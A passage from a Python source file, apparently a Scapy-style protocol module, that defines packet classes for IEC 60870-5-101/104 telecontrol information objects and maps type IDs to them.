IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_ME_TF_1(IEC104_IO_Packet): """ measured value, short floating point number with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.28 (p. 95) """ name = 'M_ME_TF_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TF_1 fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_IT_TB_1(IEC104_IO_Packet): """ integrated totals with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.29 (p. 97) """ name = 'M_IT_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_IT_TB_1 fields_desc = IEC104_IE_BCR.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_EP_TD_1(IEC104_IO_Packet): """ event of protection equipment with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.30 (p. 99) """ name = 'M_EP_TD_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TD_1 fields_desc = IEC104_IE_SEP.informantion_element_fields + \ IEC104_IE_CP16TIME2A_ELAPSED.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_EP_TE_1(IEC104_IO_Packet): """ packed start events of protection equipment with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.31 (p. 100) """ name = 'M_EP_TE_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TE_1 fields_desc = IEC104_IE_SPE.informantion_element_fields + \ IEC104_IE_QDP.informantion_element_fields + \ IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE.\ informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_EP_TF_1(IEC104_IO_Packet): """ packed output circuit information of protection equipment with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.32 (p. 101) """ name = 'M_EP_TF_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TF_1 fields_desc = IEC104_IE_OCI.informantion_element_fields + \ IEC104_IE_QDP.informantion_element_fields + \ IEC104_IE_CP16TIME2A_PROTECTION_COMMAND.\ informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_SC_NA_1(IEC104_IO_Packet): """ single command EN 60870-5-101:2003, sec. 7.3.2.1 (p. 102) """ name = 'C_SC_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SC_NA_1 fields_desc = IEC104_IE_SCO.informantion_element_fields class IEC104_IO_C_DC_NA_1(IEC104_IO_Packet): """ double command EN 60870-5-101:2003, sec. 7.3.2.2 (p. 102) """ name = 'C_DC_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_DC_NA_1 fields_desc = IEC104_IE_DCO.informantion_element_fields class IEC104_IO_C_RC_NA_1(IEC104_IO_Packet): """ regulating step command EN 60870-5-101:2003, sec. 7.3.2.3 (p. 103) """ name = 'C_RC_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RC_NA_1 fields_desc = IEC104_IE_RCO.informantion_element_fields class IEC104_IO_C_SE_NA_1(IEC104_IO_Packet): """ set-point command, normalized value EN 60870-5-101:2003, sec. 7.3.2.4 (p. 104) """ name = 'C_SE_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_NA_1 fields_desc = IEC104_IE_NVA.informantion_element_fields + \ IEC104_IE_QOS.informantion_element_fields class IEC104_IO_C_SE_NB_1(IEC104_IO_Packet): """ set-point command, scaled value EN 60870-5-101:2003, sec. 7.3.2.5 (p. 104) """ name = 'C_SE_NB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_NB_1 fields_desc = IEC104_IE_SVA.informantion_element_fields + \ IEC104_IE_QOS.informantion_element_fields class IEC104_IO_C_SE_NC_1(IEC104_IO_Packet): """ set-point command, short floating point number EN 60870-5-101:2003, sec. 7.3.2.6 (p. 105) """ name = 'C_SE_NC_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_NC_1 fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ IEC104_IE_QOS.informantion_element_fields class IEC104_IO_C_BO_NA_1(IEC104_IO_Packet): """ bitstring of 32 bit EN 60870-5-101:2003, sec. 7.3.2.7 (p. 106) """ name = 'C_BO_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_BO_NA_1 fields_desc = IEC104_IE_BSI.informantion_element_fields class IEC104_IO_M_EI_NA_1(IEC104_IO_Packet): """ end of initialization EN 60870-5-101:2003, sec. 7.3.3.1 (p. 106) """ name = 'M_EI_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EI_NA_1 fields_desc = IEC104_IE_COI.informantion_element_fields class IEC104_IO_C_IC_NA_1(IEC104_IO_Packet): """ interrogation command EN 60870-5-101:2003, sec. 7.3.4.1 (p. 107) """ name = 'C_IC_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_IC_NA_1 fields_desc = IEC104_IE_QOI.informantion_element_fields class IEC104_IO_C_CI_NA_1(IEC104_IO_Packet): """ counter interrogation command EN 60870-5-101:2003, sec. 7.3.4.2 (p. 108) """ name = 'C_CI_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_CI_NA_1 fields_desc = IEC104_IE_QCC.informantion_element_fields class IEC104_IO_C_RD_NA_1(IEC104_IO_Packet): """ read command EN 60870-5-101:2003, sec. 7.3.4.3 (p. 108) """ name = 'C_RD_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RD_NA_1 # this information object contains no data fields_desc = [] class IEC104_IO_C_CS_NA_1(IEC104_IO_Packet): """ clock synchronization command EN 60870-5-101:2003, sec. 7.3.4.4 (p. 109) """ name = 'C_CS_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_CS_NA_1 fields_desc = IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_TS_NA_1(IEC104_IO_Packet): """ test command EN 60870-5-101:2003, sec. 7.3.4.5 (p. 110) """ name = 'C_TS_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_TS_NA_1 fields_desc = IEC104_IE_FBP.informantion_element_fields class IEC104_IO_C_RP_NA_1(IEC104_IO_Packet): """ reset process command EN 60870-5-101:2003, sec. 7.3.4.6 (p. 110) """ name = 'C_RP_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RP_NA_1 fields_desc = IEC104_IE_QRP.informantion_element_fields class IEC104_IO_C_CD_NA_1(IEC104_IO_Packet): """ (telegram) delay acquisition command EN 60870-5-101:2003, sec. 7.3.4.7 (p. 111) """ name = 'C_CD_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_CD_NA_1 fields_desc = IEC104_IE_CP16TIME2A.informantion_element_fields class IEC104_IO_P_ME_NA_1(IEC104_IO_Packet): """ parameter of measured values, normalized value EN 60870-5-101:2003, sec. 7.3.5.1 (p. 112) """ name = 'P_ME_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_ME_NA_1 fields_desc = IEC104_IE_NVA.informantion_element_fields + \ IEC104_IE_QPM.informantion_element_fields class IEC104_IO_P_ME_NB_1(IEC104_IO_Packet): """ parameter of measured values, scaled value EN 60870-5-101:2003, sec. 7.3.5.2 (p. 113) """ name = 'P_ME_NB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_ME_NB_1 fields_desc = IEC104_IE_SVA.informantion_element_fields + \ IEC104_IE_QPM.informantion_element_fields class IEC104_IO_P_ME_NC_1(IEC104_IO_Packet): """ parameter of measured values, short floating point number EN 60870-5-101:2003, sec. 7.3.5.3 (p. 114) """ name = 'P_ME_NC_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_ME_NC_1 fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ IEC104_IE_QPM.informantion_element_fields class IEC104_IO_P_AC_NA_1(IEC104_IO_Packet): """ parameter activation EN 60870-5-101:2003, sec. 7.3.5.4 (p. 115) """ name = 'P_AC_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_AC_NA_1 fields_desc = IEC104_IE_QPA.informantion_element_fields class IEC104_IO_F_FR_NA_1(IEC104_IO_Packet): """ file ready EN 60870-5-101:2003, sec. 7.3.6.1 (p. 116) """ name = 'F_FR_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_FR_NA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_LOF.informantion_element_fields + \ IEC104_IE_FRQ.informantion_element_fields class IEC104_IO_F_SR_NA_1(IEC104_IO_Packet): """ section ready EN 60870-5-101:2003, sec. 7.3.6.2 (p. 117) """ name = 'F_SR_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SR_NA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_NOS.informantion_element_fields + \ IEC104_IE_LOF.informantion_element_fields + \ IEC104_IE_SRQ.informantion_element_fields class IEC104_IO_F_SC_NA_1(IEC104_IO_Packet): """ call directory, select file, call file, call section EN 60870-5-101:2003, sec. 7.3.6.3 (p. 118) """ name = 'F_SC_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SC_NA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_NOS.informantion_element_fields + \ IEC104_IE_SCQ.informantion_element_fields class IEC104_IO_F_LS_NA_1(IEC104_IO_Packet): """ last section, last segment EN 60870-5-101:2003, sec. 7.3.6.4 (p. 119) """ name = 'F_LS_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_LS_NA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_NOS.informantion_element_fields + \ IEC104_IE_LSQ.informantion_element_fields + \ IEC104_IE_CHS.informantion_element_fields class IEC104_IO_F_AF_NA_1(IEC104_IO_Packet): """ ack file, ack section EN 60870-5-101:2003, sec. 7.3.6.5 (p. 119) """ name = 'F_AF_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_AF_NA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_NOS.informantion_element_fields + \ IEC104_IE_AFQ.informantion_element_fields class IEC104_IO_F_SG_NA_1(IEC104_IO_Packet): """ file / section data octets EN 60870-5-101:2003, sec. 7.3.6.6 (p. 120) """ name = 'F_SG_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SG_NA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_NOS.informantion_element_fields + [ BitFieldLenField('segment_length', None, 8, length_of='data'), # repr IEC104_IE_LOS XStrLenField('data', '', length_from=lambda pkt: pkt.segment_length) ] class IEC104_IO_F_DR_TA_1(IEC104_IO_Packet): """ directory EN 60870-5-101:2003, sec. 7.3.6.7 (p. 121) """ name = 'F_DR_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_DR_TA_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_LOF.informantion_element_fields + \ IEC104_IE_SOF.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_SC_TA_1(IEC104_IO_Packet): """ single command with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.1 (p. 37) """ name = 'C_SC_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SC_TA_1 fields_desc = IEC104_IE_SCO.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_DC_TA_1(IEC104_IO_Packet): """ double command with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.2 (p. 38) """ name = 'C_DC_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_DC_TA_1 fields_desc = IEC104_IE_DCO.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_RC_TA_1(IEC104_IO_Packet): """ step control command with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.3 (p. 39) """ name = 'C_RC_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RC_TA_1 fields_desc = IEC104_IE_RCO.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_SE_TA_1(IEC104_IO_Packet): """ set point command, normed value with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.4 (p. 40) """ name = 'C_SE_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_TA_1 fields_desc = IEC104_IE_NVA.informantion_element_fields + \ IEC104_IE_QOS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_SE_TB_1(IEC104_IO_Packet): """ set point command, scaled value with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.5 (p. 41) """ name = 'C_SE_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_TB_1 fields_desc = IEC104_IE_SVA.informantion_element_fields + \ IEC104_IE_QOS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_SE_TC_1(IEC104_IO_Packet): """ set point command, shortened floating point value with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.6 (p. 42) """ name = 'C_SE_TC_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_TC_1 fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ IEC104_IE_QOS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_BO_TA_1(IEC104_IO_Packet): """ bitmask 32 bit with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.7 (p. 43) """ name = 'C_BO_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_BO_TA_1 fields_desc = IEC104_IE_BSI.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_TS_TA_1(IEC104_IO_Packet): """ test command with timestamp CP56Time2a EN 60870-5-104:2006, sec. 8.8 (p. 44) """ name = 'C_TS_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_TS_TA_1 fields_desc = IEC104_IE_TSC.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_F_SC_NB_1(IEC104_IO_Packet): """ request archive file EN 60870-5-104:2006, sec. 8.9 (p. 45) """ name = 'F_SC_NB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SC_NB_1 fields_desc = IEC104_IE_NOF.informantion_element_fields + \ IEC104_IE_CP56TIME2A_START_TIME.\ informantion_element_fields + \ IEC104_IE_CP56TIME2A_STOP_TIME.informantion_element_fields IEC104_IO_CLASSES = { IEC104_IO_ID_M_SP_NA_1: IEC104_IO_M_SP_NA_1, IEC104_IO_ID_M_SP_TA_1: IEC104_IO_M_SP_TA_1, IEC104_IO_ID_M_DP_NA_1: IEC104_IO_M_DP_NA_1, IEC104_IO_ID_M_DP_TA_1: IEC104_IO_M_DP_TA_1, IEC104_IO_ID_M_ST_NA_1: IEC104_IO_M_ST_NA_1, IEC104_IO_ID_M_ST_TA_1: IEC104_IO_M_ST_TA_1, IEC104_IO_ID_M_BO_NA_1: IEC104_IO_M_BO_NA_1, IEC104_IO_ID_M_BO_TA_1: IEC104_IO_M_BO_TA_1, IEC104_IO_ID_M_ME_NA_1: IEC104_IO_M_ME_NA_1, IEC104_IO_ID_M_ME_TA_1: IEC104_IO_M_ME_TA_1, IEC104_IO_ID_M_ME_NB_1: IEC104_IO_M_ME_NB_1, IEC104_IO_ID_M_ME_TB_1: IEC104_IO_M_ME_TB_1, IEC104_IO_ID_M_ME_NC_1: IEC104_IO_M_ME_NC_1, IEC104_IO_ID_M_ME_TC_1: IEC104_IO_M_ME_TC_1, IEC104_IO_ID_M_IT_NA_1: IEC104_IO_M_IT_NA_1, IEC104_IO_ID_M_IT_TA_1: IEC104_IO_M_IT_TA_1, IEC104_IO_ID_M_EP_TA_1: IEC104_IO_M_EP_TA_1, IEC104_IO_ID_M_EP_TB_1: IEC104_IO_M_EP_TB_1, IEC104_IO_ID_M_EP_TC_1: IEC104_IO_M_EP_TC_1, IEC104_IO_ID_M_PS_NA_1: IEC104_IO_M_PS_NA_1, IEC104_IO_ID_M_ME_ND_1: IEC104_IO_M_ME_ND_1, IEC104_IO_ID_M_SP_TB_1: IEC104_IO_M_SP_TB_1, IEC104_IO_ID_M_DP_TB_1: IEC104_IO_M_DP_TB_1, IEC104_IO_ID_M_ST_TB_1: IEC104_IO_M_ST_TB_1, IEC104_IO_ID_M_BO_TB_1: IEC104_IO_M_BO_TB_1, IEC104_IO_ID_M_ME_TD_1: IEC104_IO_M_ME_TD_1, IEC104_IO_ID_M_ME_TE_1: IEC104_IO_M_ME_TE_1, IEC104_IO_ID_M_ME_TF_1: IEC104_IO_M_ME_TF_1, IEC104_IO_ID_M_IT_TB_1: IEC104_IO_M_IT_TB_1, IEC104_IO_ID_M_EP_TD_1: IEC104_IO_M_EP_TD_1, IEC104_IO_ID_M_EP_TE_1: IEC104_IO_M_EP_TE_1, IEC104_IO_ID_M_EP_TF_1: IEC104_IO_M_EP_TF_1, IEC104_IO_ID_C_SC_NA_1: IEC104_IO_C_SC_NA_1, IEC104_IO_ID_C_DC_NA_1: IEC104_IO_C_DC_NA_1, IEC104_IO_ID_C_RC_NA_1: IEC104_IO_C_RC_NA_1, IEC104_IO_ID_C_SE_NA_1: IEC104_IO_C_SE_NA_1, IEC104_IO_ID_C_SE_NB_1: IEC104_IO_C_SE_NB_1, IEC104_IO_ID_C_SE_NC_1: IEC104_IO_C_SE_NC_1, IEC104_IO_ID_C_BO_NA_1: IEC104_IO_C_BO_NA_1, IEC104_IO_ID_C_SC_TA_1: IEC104_IO_C_SC_TA_1, IEC104_IO_ID_C_DC_TA_1: IEC104_IO_C_DC_TA_1, IEC104_IO_ID_C_RC_TA_1: IEC104_IO_C_RC_TA_1, IEC104_IO_ID_C_SE_TA_1: IEC104_IO_C_SE_TA_1, IEC104_IO_ID_C_SE_TB_1: IEC104_IO_C_SE_TB_1, IEC104_IO_ID_C_SE_TC_1: IEC104_IO_C_SE_TC_1, IEC104_IO_ID_C_BO_TA_1: IEC104_IO_C_BO_TA_1, IEC104_IO_ID_M_EI_NA_1: IEC104_IO_M_EI_NA_1, IEC104_IO_ID_C_IC_NA_1: IEC104_IO_C_IC_NA_1, IEC104_IO_ID_C_CI_NA_1: IEC104_IO_C_CI_NA_1, IEC104_IO_ID_C_RD_NA_1: IEC104_IO_C_RD_NA_1, IEC104_IO_ID_C_CS_NA_1: IEC104_IO_C_CS_NA_1, IEC104_IO_ID_C_TS_NA_1: IEC104_IO_C_TS_NA_1, IEC104_IO_ID_C_RP_NA_1: IEC104_IO_C_RP_NA_1, IEC104_IO_ID_C_CD_NA_1: IEC104_IO_C_CD_NA_1, IEC104_IO_ID_C_TS_TA_1: IEC104_IO_C_TS_TA_1, IEC104_IO_ID_P_ME_NA_1: IEC104_IO_P_ME_NA_1, IEC104_IO_ID_P_ME_NB_1: IEC104_IO_P_ME_NB_1, IEC104_IO_ID_P_ME_NC_1: IEC104_IO_P_ME_NC_1, IEC104_IO_ID_P_AC_NA_1: IEC104_IO_P_AC_NA_1, IEC104_IO_ID_F_FR_NA_1: IEC104_IO_F_FR_NA_1, IEC104_IO_ID_F_SR_NA_1: IEC104_IO_F_SR_NA_1, IEC104_IO_ID_F_SC_NA_1: IEC104_IO_F_SC_NA_1, IEC104_IO_ID_F_LS_NA_1: IEC104_IO_F_LS_NA_1, IEC104_IO_ID_F_AF_NA_1: IEC104_IO_F_AF_NA_1, IEC104_IO_ID_F_SG_NA_1: IEC104_IO_F_SG_NA_1, IEC104_IO_ID_F_DR_TA_1: IEC104_IO_F_DR_TA_1, IEC104_IO_ID_F_SC_NB_1: IEC104_IO_F_SC_NB_1 } class IEC104_IO_M_SP_NA_1_IOA(IEC104_IO_M_SP_NA_1): """ extended version of IEC104_IO_M_SP_NA_1 containing an individual information object address """ name = 'M_SP_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_SP_NA_1.fields_desc class IEC104_IO_M_SP_TA_1_IOA(IEC104_IO_M_SP_TA_1): """ extended version of IEC104_IO_M_SP_TA_1 containing an individual information object address """ name = 'M_SP_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_SP_TA_1.fields_desc class IEC104_IO_M_DP_NA_1_IOA(IEC104_IO_M_DP_NA_1): """ extended version of IEC104_IO_M_DP_NA_1 containing an individual information object address """ name = 'M_DP_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_DP_NA_1.fields_desc class IEC104_IO_M_DP_TA_1_IOA(IEC104_IO_M_DP_TA_1): """ extended version of IEC104_IO_M_DP_TA_1 containing an individual information object address """ name = 'M_DP_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_DP_TA_1.fields_desc class IEC104_IO_M_ST_NA_1_IOA(IEC104_IO_M_ST_NA_1): """ extended version of IEC104_IO_M_ST_NA_1 containing an individual information object address """ name = 'M_ST_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ST_NA_1.fields_desc class IEC104_IO_M_ST_TA_1_IOA(IEC104_IO_M_ST_TA_1): """ extended version of IEC104_IO_M_ST_TA_1 containing an individual information object address """ name = 'M_ST_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ST_TA_1.fields_desc class IEC104_IO_M_BO_NA_1_IOA(IEC104_IO_M_BO_NA_1): """ extended version of IEC104_IO_M_BO_NA_1 containing an individual information object address """ name = 'M_BO_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_BO_NA_1.fields_desc class IEC104_IO_M_BO_TA_1_IOA(IEC104_IO_M_BO_TA_1): """ extended version of IEC104_IO_M_BO_TA_1 containing an individual information object address """ name = 'M_BO_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_BO_TA_1.fields_desc class IEC104_IO_M_ME_NA_1_IOA(IEC104_IO_M_ME_NA_1): """ extended version of IEC104_IO_M_ME_NA_1 containing an individual information object address """ name = 'M_ME_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_NA_1.fields_desc class IEC104_IO_M_ME_TA_1_IOA(IEC104_IO_M_ME_TA_1): """ extended version of IEC104_IO_M_ME_TA_1 containing an individual information object address """ name = 'M_ME_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_TA_1.fields_desc class IEC104_IO_M_ME_NB_1_IOA(IEC104_IO_M_ME_NB_1): """ extended version of IEC104_IO_M_ME_NB_1 containing an individual information object address """ name = 'M_ME_NB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_NB_1.fields_desc class IEC104_IO_M_ME_TB_1_IOA(IEC104_IO_M_ME_TB_1): """ extended version of IEC104_IO_M_ME_TB_1 containing an individual information object address """ name = 'M_ME_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_TB_1.fields_desc class IEC104_IO_M_ME_NC_1_IOA(IEC104_IO_M_ME_NC_1): """ extended version of IEC104_IO_M_ME_NC_1 containing an individual information object address """ name = 'M_ME_NC_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_NC_1.fields_desc class IEC104_IO_M_ME_TC_1_IOA(IEC104_IO_M_ME_TC_1): """ extended version of IEC104_IO_M_ME_TC_1 containing an individual information object address """ name = 'M_ME_TC_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_ME_TC_1.fields_desc class IEC104_IO_M_IT_NA_1_IOA(IEC104_IO_M_IT_NA_1): """ extended version of IEC104_IO_M_IT_NA_1 containing an individual information object address """ name = 'M_IT_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_IT_NA_1.fields_desc class IEC104_IO_M_IT_TA_1_IOA(IEC104_IO_M_IT_TA_1): """ extended version of IEC104_IO_M_IT_TA_1 containing an individual information object address """ name = 'M_IT_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_IT_TA_1.fields_desc class IEC104_IO_M_EP_TA_1_IOA(IEC104_IO_M_EP_TA_1): """ extended version of IEC104_IO_M_EP_TA_1 containing an individual information object address """ name = 'M_EP_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EP_TA_1.fields_desc class 